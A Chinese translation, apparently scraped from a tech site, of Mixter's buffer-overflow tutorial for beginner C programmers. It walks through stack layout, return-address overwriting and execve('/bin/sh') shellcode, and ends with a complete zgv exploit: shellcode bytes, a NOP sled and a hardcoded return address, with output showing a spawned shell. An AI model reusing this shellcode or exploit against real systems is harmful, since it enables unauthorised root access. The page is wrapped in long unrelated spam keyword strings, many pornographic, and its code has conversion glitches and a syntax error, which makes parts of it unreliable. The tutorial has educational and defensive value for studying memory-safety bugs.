精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

新手必讀:緩沖區溢出攻擊

安全 黑客攻防
緩沖區溢出出現在用戶輸入的相關緩沖區內,在一般情況下,這是現在的計算機和網絡上的最大的安全隱患之一。

緩沖區溢出出現在用戶輸入的相關緩沖區內,在一般情況下,這是現在的計算機和網絡上的最大的安全隱患之一。這是因為在編程的層次上很容易出現這中問題,這對于不明白或是無法獲得源代碼的使用者來說是不可見的,很多的這中問題就會被利用。本文就是企圖教會新手-C程序員,證明怎么利用一個溢出環境。- Mixter

1 內存

注:我這里的描述方式是在大多數計算機上內存是進程的組織者,但是它是依賴處理器體系結構的類型。這是一個x86的例子,同時也可以大致應用在sparc。

緩沖區溢出的攻擊原理是不應該是重寫隨機輸入和在進程中執行代碼的內存的重寫。要看在什么地方和怎么發生的溢出,讓我們來看下內存是如何組織的。頁面是使用自己相關地址的內存的一個部分,這就意味著內核的進程的初始化,這就沒有必要知道在RAM中存儲的物理地址。進程內存由下面三個部分組成:

代碼段,在這一段代碼中你的數據是通過匯編指令在處理器中執行的。該代碼執行是非線性的,它可以跳過代碼,跳躍,在某種條件下調用函數。以此,我們使用EIP指針,或是指針指令。其中EIP指向的地址總是包含下一個執行代碼。

數據段,變量空間和動態緩沖器。

堆棧段,這是用來給函數傳遞變量的和和作為函數變量的空間。在棧的底部位于每一頁的虛擬內存的盡頭,同時向下增長。匯編命令PUSHL會增加到棧的頂部,POPL會從棧的頂部移除項目并且把它們放到寄存器中。要直接訪問棧寄存器,在棧的頂部有棧頂指針ESP。

2 函數

函數是一段代碼段的代碼,當被調用執行一個任務,之后返回執行的前一個主題。或是,把參數傳遞給函數,在匯編語言中,通常看起來是這樣的。

memory address                       code
0x8054321               pushl $0x0
0x8054322                              call $0x80543a0
0x8054327                              ret
0x8054328                              leave
...
0x80543a0               popl %eax
0x80543a1                              addl $0x1337,%eax
0x80543a4                              ret

這會發生什么?主函數調用了function(0);

變量是0,主要把它壓入棧中,同時調用該函數。該函數使用popl來獲取棧中的變量。完成后,返回0×8054327。通常,主函數要把EBP寄存器壓入棧中,主要是儲存和在結束后在儲存。這是幀指針的概念,即允許函數使用自己的偏移地址,在對付攻擊時就變的很無趣了。因為函數將不會返回到原有的執行線程。

我們只需要知道棧。在頂部,我們有函數的內部緩沖區和變量。在此之后,有保存的EBP寄存器(32位,4個字節),然后返回地址,是另外的4個字節。再往下,還有要傳遞給函數的參數,這對我們沒有用。

在這種情況下,我們返回的地址是0×8054327。在函數被調用時,它就會自動的存儲到棧中。如果代碼中存在溢出的地方,這個返回值會被覆蓋,并且指針指向下內存中的下一個位置。

3 一個可以利用的程序實例

讓我們假設我們要利用的函數為:

  1. void lame (void) { char small[30]; gets (small); printf("%s\n", small); }  
  2.  
  3. main() { lame (); return 0; }  
  4.  
  5.    
  6.  
  7. Compile and disassemble it:  
  8.  
  9. # cc -ggdb blah.c -o blah  
  10.  
  11. /tmp/cca017401.o: In function `lame':  
  12.  
  13. /root/blah.c:1: the `gets' function is dangerous and should not be used.  
  14.  
  15. # gdb blah  
  16.  
  17. /* short explanation: gdb, the GNU debugger is used here to read the  
  18.  
  19.    binary file and disassemble it (translate bytes to assembler code) */ 
  20.  
  21. (gdb) disas main  
  22.  
  23. Dump of assembler code for function main:  
  24.  
  25. 0x80484c8 :       pushl  %ebp  
  26.  
  27. 0x80484c9 :     movl   %esp,%ebp  
  28.  
  29. 0x80484cb :     call   0x80484a0  
  30.  
  31. 0x80484d0 :     leave  
  32.  
  33. 0x80484d1 :     ret  
  34.  
  35.    
  36.  
  37. (gdb) disas lame  
  38.  
  39. Dump of assembler code for function lame:  
  40.  
  41. /* saving the frame pointer onto the stack right before the ret address */ 
  42.  
  43. 0x80484a0 :       pushl  %ebp  
  44.  
  45. 0x80484a1 :     movl   %esp,%ebp  
  46.  
  47. /* enlarge the stack by 0×20 or 32. our buffer is 30 characters, but the  
  48.  
  49.    memory is allocated 4byte-wise (because the processor uses 32bit words)  
  50.  
  51.    this is the equivalent to: char small[30]; */ 
  52.  
  53. 0x80484a3 :     subl   $0×20,%esp  
  54.  
  55. /* load a pointer to small[30] (the space on the stack, which is located  
  56.  
  57.    at virtual address 0xffffffe0(%ebp)) on the stack, and call  
  58.  
  59.    the gets function: gets(small); */ 
  60.  
  61. 0x80484a6 :     leal   0xffffffe0(%ebp),%eax  
  62.  
  63. 0x80484a9 :     pushl  %eax  
  64.  
  65. 0x80484aa :    call   0x80483ec  
  66.  
  67. 0x80484af :    addl   $0×4,%esp  
  68.  
  69. /* load the address of small and the address of "%s\n" string on stack  
  70.  
  71.    and call the print function: printf("%s\n", small); */ 
  72.  
  73. 0x80484b2 :    leal   0xffffffe0(%ebp),%eax  
  74.  
  75. 0x80484b5 :    pushl  %eax  
  76.  
  77. 0x80484b6 :    pushl  $0x804852c  
  78.  
  79. 0x80484bb :    call   0x80483dc  
  80.  
  81. 0x80484c0 :    addl   $0×8,%esp  
  82.  
  83. /* get the return address, 0x80484d0, from stack and return to that address.  
  84.  
  85.    you don't see that explicitly here because it is done by the CPU as 'ret' */ 
  86.  
  87. 0x80484c3 :    leave  
  88.  
  89. 0x80484c4 :    ret  
  90.  
  91. End of assembler dump. 

3.1 程序溢出

  1. # ./blah  
  2. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    <- user input  
  3. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  4. # ./blah  
  5. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input  
  6. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  7. Segmentation fault (core dumped)  
  8. # gdb blah core  
  9. (gdb) info registers  
  10.      eax:       0×24          36  
  11.      ecx:  0x804852f   134513967  
  12.      edx:        0×1           1  
  13.      ebx:   0x11a3c8     1156040  
  14.      esp: 0xbffffdb8 -1073742408  
  15.      ebp:   0×787878     7895160 

EBP是0×787878,這就意味我們已經寫入了超出緩沖區輸入可以控制的范圍。0×78的x是十六進制的標志。該過程有32個字節的最大的緩沖器。我們已經在內存中寫入了比用戶輸入更多的數據,因此重寫EBP和返回值的地址是'xxxx',這個過程會嘗試在地址0×787878處重復執行,這就會導致段的錯誤。

3.2 改變返回值地址

讓我們嘗試利用這個程序來返回lame(),我們要改變返回值的地址從0x80484d0到0x80484cb,在內存中,我們有32字節的緩沖區空間|4個字節保存EBP|4個字節的RET。下面是一個很簡單的程序,把4個字節的返回地址變成一個1個字節字符緩沖區:

  1. main()  
  2. {  
  3. int i=0; char buf[44];  
  4. for (i=0;i<=40;i+=4)  
  5. *(long *) &buf[i] = 0x80484cb;  
  6. puts(buf);  
  7. }  
  8. # ret  
  9. ËËËËËËËËËËË,  
  10. # (ret;cat)|./blah  
  11. test         <- user input  
  12. ËËËËËËËËËËË,test  
  13. test         <- user input  
  14. test 

我們在這里使用這個程序通過了函數兩次。如果有溢出存在,函數的返回值地址是可以變的,從而改變程序的執行線程。

4 Shellcode

為了簡單,Shellcode使用簡單的匯編指令,我們寫在棧上,然后更改返回地址,使它返回到棧內。使用這個方法,我們可以我們可以把代碼插入到一個脆弱的進程中,然后在棧中正確的執行它。所以,讓我們通過插入的匯編代碼來運行一個Shell。一個常見的調用命令是execve(),它加載和運行任意的二進制代碼,終止執行當前的進程。聯機界面給我的應用:

  1. int  execve  (const  char  *filename, char *const argv [], char *const envp[]);  
  2. Lets get the details of the system call from glibc2:  
  3. # gdb /lib/libc.so.6  
  4. (gdb) disas execve  
  5. Dump of assembler code for function execve:  
  6. 0x5da00 :       pushl  %ebx   
  7. /* this is the actual syscall. before a program would call execve, it would  
  8.   push the arguments in reverse order on the stack: **envp, **argv, *filename */ 
  9. /* put address of **envp into edx register */ 
  10. 0x5da01 :     movl   0×10(%esp,1),%edx  
  11. /* put address of **argv into ecx register */ 
  12. 0x5da05 :     movl   0xc(%esp,1),%ecx  
  13. /* put address of *filename into ebx register */ 
  14. 0x5da09 :     movl   0×8(%esp,1),%ebx  
  15. /* put 0xb in eax register; 0xb == execve in the internal system call table */ 
  16. 0x5da0d :    movl   $0xb,%eax  
  17. /* give control to kernel, to execute execve instruction */ 
  18. 0x5da12 :    int    $0×80  
  19.    
  20. 0x5da14 :    popl   %ebx  
  21. 0x5da15 :    cmpl   $0xfffff001,%eax  
  22. 0x5da1a :    jae    0x5da1d <__syscall_error>  
  23. 0x5da1c :    ret 

結束匯編轉存。

4.1 使代碼可移植

我們必須應用一個策略使沒有參數的Shellcode在內存中的傳統方式,通過在它們的頁存儲上的精確位置,在編譯中完成。

一旦我們估計shellcode的大小,我們能夠使用指令jmp和call來得到指定的字節在執行線程向前或是向后。為什么使用call?我們有機會使用CALL來自動的在棧內存儲返回地址,這個返回地址是在下一個CALL指令后的4個字節。通過放置一個正確的變量通過使用call,我們間接的把地址壓進了棧中,沒有必要了解它。

  1. 0   jmp      (skip Z bytes forward)  
  2. 2   popl %esi  
  3. … put function(s) here …  
  4. Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)  
  5. Z+5 .string     (first variable) 

(注:如果你要寫的代碼比一個簡單的shell還要復雜,可以多次使用上面的代碼。字符串放在代碼的后面。你知道這些字符串的大小,因此可以計算他們的相對位置,一旦你知道第一個字符串的位置。)

4.2 Shellcode

  1. global code_start           /* we'll need this later, dont mind it */ 
  2. global code_end  
  3.        .data  
  4. code_start:  
  5.        jmp  0×17  
  6.        popl %esi  
  7.        movl %esi,0×8(%esi)     /* put address of **argv behind shellcode,  
  8.                                0×8 bytes behind it so a /bin/sh has place */ 
  9.        xorl %eax,%eax            /* put 0 in %eax */ 
  10.        movb %eax,0×7(%esi)   /* put terminating 0 after /bin/sh string */ 
  11.        movl %eax,0xc(%esi)    /* another 0 to get the size of a long word */ 
  12. my_execve:  
  13.        movb $0xb,%al             /* execve(         */ 
  14.        movl %esi,%ebx           /* "/bin/sh",      */ 
  15.        leal 0×8(%esi),%ecx      /* & of "/bin/sh", */ 
  16.        xorl %edx,%edx           /* NULL           */ 
  17.        int $0×80        /* );           */ 
  18.        call -0x1c  
  19.        .string "/bin/shX"   /* X is overwritten by movb %eax,0×7(%esi) */ 
  20. code_end: 

(相對偏移了0×17和-0x1c通過放在0×0,編譯,反匯編和看看shell代碼的大小。)

這是一個正在工作著的shellcode,雖然很小。你至少使用exit()來調用和依附它(在調用之前)。Shellcode的正真的藝術還包括避免任何二進制0代碼和修改它為例,二進制代碼不包含控制和小寫字符,這將會過濾掉一些問題程序。大多數的東西是通過自己修改代碼來完成的,就是我們想的使用mov %eax,0×7(%esi)指令。我們用\0來取代X,但是在shellcode初始化中沒有\0。

讓我們測試下這些代碼,保存上面的代碼為code.S和下面的文件為code.c:

  1. extern void code_start();  
  2. extern void code_end();  
  3. #include <stdio.h>  
  4. main() { ((void (*)(void)) code_start)(); }  
  5.    
  6. # cc -o code code.S code.c  
  7. # ./code  
  8. bash# 

現在你可以把shellcode轉變成16進制字符緩沖區。要做到這的最好的方法就是打印:

  1. #include <stdio.h>  
  2. extern void code_start(); extern void code_end();  
  3. main() { fprintf(stderr,"%s",code_start); 

通過使用aconv –h或bin2c.pl來解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。

5 寫一個利用

讓我們看看如何改變返回地址指向的shellcode進行壓棧,寫一個攻擊的例子。我們將要采用zgv,因為這是可以利用的一個最簡單的事情。

  1. # export HOME=`perl -e 'printf "a" x 2000'`  
  2. # zgv  
  3. Segmentation fault (core dumped)  
  4. # gdb /usr/bin/zgv core  
  5. #0  0×61616161 in ?? ()  
  6. (gdb) info register esp  
  7.      esp: 0xbffff574 -1073744524 

那么,這是在棧頂的故障時間,安全的假設是我們能夠使用這作為我們shellcode的返回地址。

現在我們要在我們的緩沖區前增加一些NOP指令,所以我們沒有必要對于我們內存中的shellcode的精確開始的預測100%的正確。這個函數將會返回到棧在我們的shellcode之前,通過這個方式使用NOPs的頭文字JMP命令,跳轉到CALL,在轉回popl,在棧中運行我們的代碼。

記住,棧是這樣的。在最低級的內存地址,ESP指向棧的頂部,初始變量被儲存,即時緩沖器中的zgv儲存了HOME環境變量。在那之后,我們保存了EBP和前一個函數的返回地址。我們必須要寫8個字節或是更多在緩沖區后面,用棧中的新的地址來覆蓋返回地址。

Zgv緩沖器有1024個字節。你可以通過掃視代碼來發現,或是通過在脆弱的函數中搜索初始化的subl $0×400,%esp (=1024)。我們可以把這些放在一起來利用。

5.1 zgv攻擊實例

  1. /*                   zgv v3.0 exploit by Mixter  
  2.           buffer overflow tutorial – http://1337.tsx.org  
  3.    
  4.         sample exploit, works for example with precompiled  
  5.     redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ 
  6.    
  7. #include <stdio.h>  
  8. #include <unistd.h>  
  9. #include <stdlib.h>  
  10.    
  11. /* This is the minimal shellcode from the tutorial */ 
  12. static char shellcode[]=  
  13. "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" 
  14. "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";  
  15.    
  16. #define NOP     0×90  
  17. #define LEN     1032  
  18. #define RET     0xbffff574  
  19.    
  20. int main()  
  21. {  
  22. char buffer[LEN];  
  23. long retaddr = RET;  
  24. int i;  
  25.    
  26. fprintf(stderr,"using address 0x%lx\n",retaddr);  
  27.    
  28. /* this fills the whole buffer with the return address, see 3b) */ 
  29. for (i=0;i<LEN;i+=4)  
  30.    *(long *)&buffer[i] = retaddr;  
  31.    
  32. /* this fills the initial buffer with NOP's, 100 chars less than the  
  33.    buffer size, so the shellcode and return address fits in comfortably */ 
  34. for (i=0;i<LEN-strlen(shellcode)-100);i++)  
  35.    *(buffer+i) = NOP;  
  36.    
  37. /* after the end of the NOPs, we copy in the execve() shellcode */ 
  38. memcpy(buffer+i,shellcode,strlen(shellcode));  
  39.    
  40. /* export the variable, run zgv */ 
  41.    
  42. setenv("HOME", buffer, 1);  
  43. execlp("zgv","zgv",NULL);  
  44. return 0;  
  45. }  
  46.    
  47. /* EOF */ 
  48.    
  49. We now have a string looking like this:  
  50.    
  51. [ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]  
  52.    
  53. While zgv's stack looks like this:  
  54.    
  55. v– 0xbffff574 is here  
  56. [     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]  
  57.    
  58. The execution thread of zgv is now as follows:  
  59.    
  60. main … -> function() -> strcpy(smallbuffer,getenv("HOME")); 

此時,zgv做不到邊界檢查,寫入超出了smallbuffer,返回到main的地址被棧中的返回地址覆蓋。function()離不開/ ret和棧中EIP的指向。

  1. 0xbffff574 nop  
  2. 0xbffff575 nop  
  3. 0xbffff576 nop  
  4. 0xbffff577 jmp $0×24                    1  
  5. 0xbffff579 popl %esi          3 <–\    |  
  6. [... shellcode starts here ...]    |    |  
  7. 0xbffff59b call -$0x1c             2 <–/  
  8. 0xbffff59e .string "/bin/shX" 
  9.    
  10. Lets test the exploit…  
  11.    
  12. # cc -o zgx zgx.c  
  13. # ./zgx  
  14. using address 0xbffff574  
  15. bash# 

5.2 編寫攻擊的進一步提示

有很都可以被利用的程序,但還是很脆弱。但是這有很多的技巧,你可以通過過濾等方式得到。還有其他的溢出技術,這并不一定要包括改變返回地址或是只是放回地址。有指針溢出,函數分配的指針能夠被覆蓋通過一個數據流,改變程序執行的流程。攻擊的返回地址指向shell環境指針,shellcode為與那里,而不是在棧上。

對于一個熟練掌握shellcode的人是在根本上的自己修改代碼,最初包含可以打印的,非白色的大寫字母,然后修改自己它,把shellcode函數放在要執行的棧上。

你應該永遠不會有任何二進制0在你的shell代碼里,因為如果它包含任何都可能無法正常的工作。但是本文討論了怎么升華某種匯編指令與其他的命令超出了范圍。我也建議讀其他大的數據流怎么超出的,通過aleph1,Taeoh Oh和mudge來寫的。

5.3 重要注意事項

你將不能在Windows 或是 Macintosh上使用這個教程,不要和我要cc.exe和gdb.exe。

6 結論

我們已經知道,一旦用戶依賴存在的的溢出,在90%的時間了是可以利用的,即使利用起來和困難,同時要一些技能。為什么寫這個攻擊很重要呢?因為軟件企業是無知的。在軟件緩沖區溢出方面的漏洞的報告已經有了,雖然這些軟件沒有更新,或是大多數用戶沒有更新,因為這個漏洞很難被利用,沒有人認為這會成為一個安全隱患。然后,漏洞出現了,證明和實踐是程序能夠利用,而且這就要急于更新了。

作為程序員,寫一個安全的程序是一個艱巨的任務,但是要認真的對待。在寫入服務器時就變的更加值得關注,任何類型的安全程序,或是suid root的程序,或是設計使用root來運行,如特別的賬戶或是系統本身。使用范圍檢查,更喜歡分配動態緩沖器,輸入的依賴性,大小,小心/while/etc。收集數據和填充緩沖區,以及一般處理用戶很關心的輸入的循環是我建議的主要原則。

目前在安全行業取得了顯著的成績,使用非可執行的棧,suid包,防衛程序來核對返回值,邊界核查編輯器等技術來阻止溢出問題。你應該在可以使用的情況下使用這些技術,但是不要完全依賴他們。如果你運行vanilla的UNIX的發行版時,不要假設安全,但是有溢出保護或是防火墻/IDS。它不能保證安全,如果你繼續使用不安全的程序,因為_all_安全程序是_software_和包含自身漏洞的,至少他們不是完美的。如果你頻繁的使用updates _和_ security measures,你仍然不能渴望安全,_but_你可以希望。

責任編輯:藍雨淚 來源: IDF實驗室
相關推薦

2009-09-24 18:16:40

2011-11-15 16:00:42

2022-05-07 08:27:42

緩沖區溢出堆棧

2010-10-09 14:45:48

2019-02-27 13:58:29

漏洞緩沖區溢出系統安全

2017-01-09 17:03:34

2019-01-11 09:00:00

2010-09-29 15:10:58

2018-01-26 14:52:43

2009-05-13 09:21:48

2019-03-06 09:00:38

ASLRLinux命令

2010-12-27 10:21:21

2012-07-26 09:39:01

2011-03-23 12:39:44

2018-11-01 08:31:05

2010-09-08 15:43:18

2022-08-09 08:31:40

C -gets函數漏洞

2015-03-06 17:09:10

2020-08-10 08:37:32

漏洞安全數據

2011-03-23 11:35:00

點贊
收藏

51CTO技術棧公眾號

日本精品在线一区| 在线观看免费高清完整| 亚洲免费高清| 国产亚洲精品综合一区91| 性chinese极品按摩| 国产日产一区二区三区| 337p粉嫩大胆噜噜噜噜噜91av| 国产成人精品视| 免费视频一二三区| 久久不卡国产精品一区二区| 91麻豆精品国产91久久久| 久久久久久久久久网| 在线观看麻豆| av在线一区二区| 成人自拍性视频| 黄色片中文字幕| 欧美aⅴ99久久黑人专区| 亚洲欧美日韩中文在线制服| 国产精品嫩草69影院| 国产精品亚洲一区二区三区在线观看 | 亚洲成人av一区二区| 日韩欧美精品一区二区| 国产 欧美 自拍| 久久精品国产**网站演员| 97视频在线观看成人| 日本精品在线免费观看| 你懂的一区二区三区| 精品日韩在线观看| 欧美一级视频在线| 深夜成人影院| 福利视频导航一区| 欧美亚洲色图视频| 免费av毛片在线看| 国产精品欧美久久久久无广告 | 日本中文字幕精品| av在线不卡精品| 欧美日韩一区二区在线| 日韩精品在线观看av| 国产在线观看免费麻豆| 中文字幕亚洲精品在线观看| 欧美在线日韩精品| 牛牛澡牛牛爽一区二区| 国产91精品一区二区麻豆网站 | 黄频网站在线观看| 国产福利一区二区| 亚洲综合中文字幕在线观看| 91av国产精品| 精品一区二区日韩| 国产欧美日韩精品专区| 中文字幕一区二区久久人妻| 三级欧美韩日大片在线看| 欧洲一区二区视频| 91视频免费网址| 国产一区二区精品| 国产91精品久久久| 久久久久久少妇| 久久久999| 国产精品福利久久久| 久草热在线观看| 蜜桃视频在线一区| 国产在线视频一区| 国产视频在线一区| 国产精品99久久久久久宅男| 97人人澡人人爽| 亚洲AV无码成人片在线观看| 国产成人精品在线看| 成人片在线免费看| 无码国产伦一区二区三区视频| 不卡视频免费播放| 裸模一区二区三区免费| 成人欧美亚洲| 亚洲天堂网中文字| 日韩国产成人无码av毛片| 日韩激情av| 偷拍日韩校园综合在线| 免费在线观看毛片网站| 麻豆久久久久| 欧美大片免费久久精品三p| 亚洲香蕉中文网| 免费黄色成人| 久久久91精品国产| 国产无精乱码一区二区三区| 午夜亚洲激情| 国产在线观看精品| 国产综合在线播放| 久久久亚洲欧洲日产国码αv| 性欧美精品一区二区三区在线播放| 免费大片在线观看www| 一片黄亚洲嫩模| 黑森林福利视频导航| 日韩av电影资源网| 精品国产伦一区二区三区观看体验 | 99re亚洲国产精品| 亚洲伊人婷婷| 成年男女免费视频网站不卡| 91国在线观看| 一二三区视频在线观看| 国产91一区| 欧美精品在线极品| 黄色片中文字幕| 国产成人精品免费在线| 日韩福利二区| 超免费在线视频| 欧美日本国产视频| 国产精品久久不卡| 小小影院久久| 国产精品久久久久9999| 熟妇人妻中文av无码| 国产精品美女久久久久久久网站| 国产www免费| 亚洲成人1区| 亚洲欧美制服第一页| 国产免费无码一区二区视频| 免费在线播放第一区高清av| 999国产在线| 最新97超碰在线| 岛国精品视频在线播放| 性生活一级大片| 欧美丰满老妇| 国产精品久久久久av免费| 日韩一级在线播放| 伊人夜夜躁av伊人久久| 中文字幕av专区| 国产成人精品免费视| 韩国国内大量揄拍精品视频| 国内精品久久久久久久久久久| 久久婷婷成人综合色| 欧美午夜小视频| 视频欧美一区| 久久亚洲国产成人| 中文字幕人妻互换av久久| 久久久三级国产网站| 色综合久久久久无码专区| 91午夜精品| 欧美成人精品不卡视频在线观看| 亚洲中文一区二区三区| 国产午夜精品福利| 免费观看成人网| 精品视频99| 国产精品高潮视频| 福利片在线看| 欧美性生活大片视频| 三级网站在线免费观看| 香蕉亚洲视频| 欧美日韩精品免费在线观看视频| 国产理论在线| 日韩国产在线看| 91在线视频在线观看| a级高清视频欧美日韩| 大j8黑人w巨大888a片| 久久97久久97精品免视看秋霞| 久久久久久久久国产| 人妻偷人精品一区二区三区| 亚洲丰满少妇videoshd| 小毛片在线观看| 午夜一区二区三区不卡视频| 久久青青草原| 亚洲成a人片| 最近2019中文字幕第三页视频| 中文在线最新版天堂| 国产精品久久久久影院亚瑟| 亚洲综合伊人久久| 欧美日韩ab| 国产亚洲情侣一区二区无| av资源在线| 亚洲天堂影视av| 伊人网视频在线| 亚洲免费资源在线播放| 国产精品日日摸夜夜爽| 亚洲视频二区| 亚洲第一综合| 2020最新国产精品| 91精品国产91久久久久| 精品电影在线| 91精品国产麻豆| 国产无遮挡aaa片爽爽| 久久先锋影音av| 欧美美女性视频| 黄色av日韩| 精品国产一二| 日本午夜免费一区二区| 欧美多人乱p欧美4p久久| 亚州男人的天堂| 欧美视频一区二区三区| 久久精品视频免费在线观看| eeuss鲁片一区二区三区在线观看| 国产成人av影视| 综合在线视频| 欧美精品v日韩精品v国产精品| 91麻豆精品| 日本成人免费在线| gogo在线高清视频| 日韩av在线网址| 国产模特av私拍大尺度| 精品高清美女精品国产区| 日本黄区免费视频观看| 成人亚洲一区二区一| 中文字幕成人在线视频| 日韩视频久久| 日韩人妻精品一区二区三区| 色狠狠久久av综合| 99国产视频在线| 先锋欧美三级| 午夜精品福利视频| av网址在线| 国产亚洲精品久久久久动| 高潮毛片7777777毛片| 欧美三级三级三级爽爽爽| 国产精品第一页在线观看| 国产精品传媒在线| 免费在线观看你懂的| 国产高清视频一区| 中文字幕视频在线免费观看| 一本色道久久综合| 日本成人在线不卡| 欧美大片aaaa| 三区精品视频观看| 杨幂一区二区三区免费看视频| 亚洲a一级视频| 123成人网| 日韩免费在线观看视频| brazzers在线观看| 欧美黄色三级网站| 欧美精品hd| 正在播放亚洲1区| 激情在线视频| 亚洲免费影视第一页| 欧美一区二区三区黄片| 日韩欧美区一区二| 国产欧美一级片| 欧美日韩国产一级二级| 夜夜躁日日躁狠狠久久av| 色噜噜夜夜夜综合网| 久久久久99精品成人片三人毛片| 亚洲国产日韩a在线播放| 青青草在线观看视频| 亚洲图片激情小说| 男人av资源站| 中文字幕亚洲视频| 四虎影视1304t| 国产精品美女视频| 少妇高潮一区二区三区喷水| 亚洲国产电影在线观看| 精品国产aaa| 国产精品视频免费看| 精品伦精品一区二区三区视频密桃| 国产欧美一区二区三区网站| 无码人妻精品一区二区中文| 国产亚洲欧美中文| 色屁屁草草影院ccyy.com| 久久精品亚洲乱码伦伦中文 | 黄色一级a毛片| 亚洲成人亚洲激情| 欧美一级淫片aaaaaa| 亚洲精品国产免费| 你懂的免费在线观看视频网站| 亚洲欧美日韩成人| 国产女主播在线直播| 一区二区三区视频免费| 日本www在线观看| 久久精品国产免费观看| 日韩少妇视频| 欧美一级淫片播放口| 桃花岛tv亚洲品质| 国产精品视频自在线| 懂色av色香蕉一区二区蜜桃| 99精品在线直播| 思热99re视热频这里只精品| 日韩一本精品| 亚洲一区色图| 少妇高潮喷水在线观看| 视频一区二区三区入口| 在线观看免费视频高清游戏推荐| 国产主播一区二区| 精品无码人妻少妇久久久久久| 久久久国产一区二区三区四区小说 | 日本精品一区二区在线观看| 亚洲精品www| 97最新国自产拍视频在线完整在线看| 久久视频中文字幕| 嗯~啊~轻一点视频日本在线观看| 日韩av成人在线观看| 亚洲影视资源| 国内一区二区三区在线视频| av中文字幕一区二区| 欧美日韩dvd| 日韩综合小视频| 国产精品嫩草69影院| 国产午夜精品一区二区| 久久久久久久久久久97| 色婷婷综合中文久久一本| 国产精品自产拍| 亚洲男人天堂古典| 国产精品久久麻豆| 欧洲亚洲免费在线| 精品国产一级| 日韩av一区二区三区美女毛片| 欧美aa国产视频| 欧美伦理片在线看| 不卡的av在线| 亚洲色偷偷综合亚洲av伊人| 欧美日韩一区二区三区在线免费观看| 亚洲综合一区中| 国产视频久久久久久久| av在线播放国产| 国产精品黄视频| 久久久久97| 高清无码视频直接看| 免费观看久久久4p| 亚洲精品理论片| 一区二区三区四区亚洲| japanese国产在线观看| 亚洲国产高清自拍| 直接在线观看的三级网址| 国产精品青青在线观看爽香蕉 | 黄瓜视频在线免费观看| 日韩欧美激情一区| 日本中文字幕在线播放| 国产成人综合一区二区三区| 黄色欧美网站| 99久久99久久精品| 国内成+人亚洲+欧美+综合在线 | 蜜桃91麻豆精品一二三区| yellow中文字幕久久| av久久网站| 日韩欧美国产二区| 久久激情久久| 熟妇人妻久久中文字幕| 亚洲第一福利一区| 亚洲av综合色区无码一区爱av | 极品少妇xxxx精品少妇偷拍| 无码一区二区三区在线| 狠狠久久五月精品中文字幕| 国产成人无码www免费视频播放| 欧美日韩高清区| 精品一区二区三区四区五区| 一区二区在线观| 精品一区二区三区视频在线观看 | 亚洲av成人无码久久精品老人 | 中文av免费观看| 亚洲视频axxx| 天天免费亚洲黑人免费| 欧美13一14另类| 久久aⅴ乱码一区二区三区| 黄瓜视频污在线观看| 精品国产老师黑色丝袜高跟鞋| 人妻一区二区三区| 97超级碰碰碰久久久| 综合视频一区| 九一国产精品视频| 91视频观看视频| 精品无码一区二区三区的天堂| 国产亚洲欧美另类中文| 国产精品亲子伦av一区二区三区| 亚洲国产一区二区在线| 精品午夜一区二区三区在线观看| 欧美做爰啪啪xxxⅹ性| 欧美一区二区三区性视频| 伊人精品影院| 国产欧美日韩一区| 国产日韩欧美三级| 国产毛片欧美毛片久久久| 欧美视频日韩视频在线观看| 色的视频在线免费看| 91精品网站| 99日韩精品| a天堂中文字幕| 欧美一区二区三区免费视频| 女同一区二区免费aⅴ| 久久久一本精品99久久精品| 免费在线观看成人| 欧美成人片在线观看| 日韩成人av在线| 六九午夜精品视频| 国产一区二区三区小说| 26uuu久久综合| 97超碰人人草| 97久久国产精品| av亚洲在线观看| 国产成人精品综合久久久久99| 精品日本高清在线播放| p色视频免费在线观看| 99国产精品久久久久老师| 香蕉国产精品偷在线观看不卡| 天堂av网手机版| 精品国产伦一区二区三区观看体验 | 国产精品日韩专区| 欧美午夜免费影院| 一区二区三区伦理片| 91精品国产91综合久久蜜臀| 国产在线美女| 在线观看一区二区三区三州| 成人福利电影精品一区二区在线观看| 无码人妻丰满熟妇区五十路| 久久天天躁夜夜躁狠狠躁2022| 一区二区美女| 中文字幕乱码在线人视频| 色狠狠色狠狠综合| 羞羞视频在线观看不卡| 日韩免费av电影|